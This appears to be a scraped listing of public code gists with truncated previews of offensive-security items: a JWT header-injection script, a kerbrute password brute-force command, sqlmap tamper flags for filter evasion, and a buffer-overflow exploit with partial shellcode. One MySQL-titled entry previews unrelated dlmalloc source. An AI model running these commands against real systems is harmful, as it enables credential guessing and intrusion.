Tan Nguyen Nhat Delt-A

imparabl3 / jwt_attack_with_header_injection.py

Last active November 1, 2022 03:11

Creating JWT with HTTP response Header Injection

	#!/usr/lib/env python3

	# For more description with other attacks check out my BLOG ==> https://imparable.medium.com/attacking-json-web-tokens-jwts-d1d51a1e17cb

	import OpenSSL
	import base64
	import json
	import hashlib
	import urllib

TarlogicSecurity / kerberos_attacks_cheatsheet.md

Created May 14, 2019 13:33

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

sapran / sqlmap tamper scripts

Last active September 2, 2024 01:34

sqlmap tamper scripts grouped by DBMS Copied from: https://prakash-khadka.com.np/wp-content/uploads/pdf/www-moonsec-com.pdf

	# All scripts
	```
	--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
	```
	# General scripts
	```
	--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
	```
	# Microsoft access
	```

hexnickk / BuffAutopwn.py

Created December 28, 2016 16:20

Buffer overflow(shellcode + ret-to-libc) pwntools example

	#!/usr/bin/python2

	import argparse
	from itertools import ifilter

	import pwnlib

	def generate_shellcode_exploit(eip_offset, esp, nopsled_size, custom_shellcode):
	shellcode = custom_shellcode if custom_shellcode else (
	'\xeb\x0b\x5b\x31'

hofmannsven / README.md

Last active February 25, 2025 22:10

MySQL CLI Cheatsheet

	/*
	This is a version (aka dlmalloc) of malloc/free/realloc written by
	Doug Lea and released to the public domain, as explained at
	http://creativecommons.org/licenses/publicdomain. Send questions,
	comments, complaints, performance data, etc to [email protected]

	* Version 2.8.4 Wed May 27 09:56:23 2009 Doug Lea (dl at gee)

	Note: There may be an updated version of this malloc obtainable at
	ftp://gee.cs.oswego.edu/pub/misc/malloc.c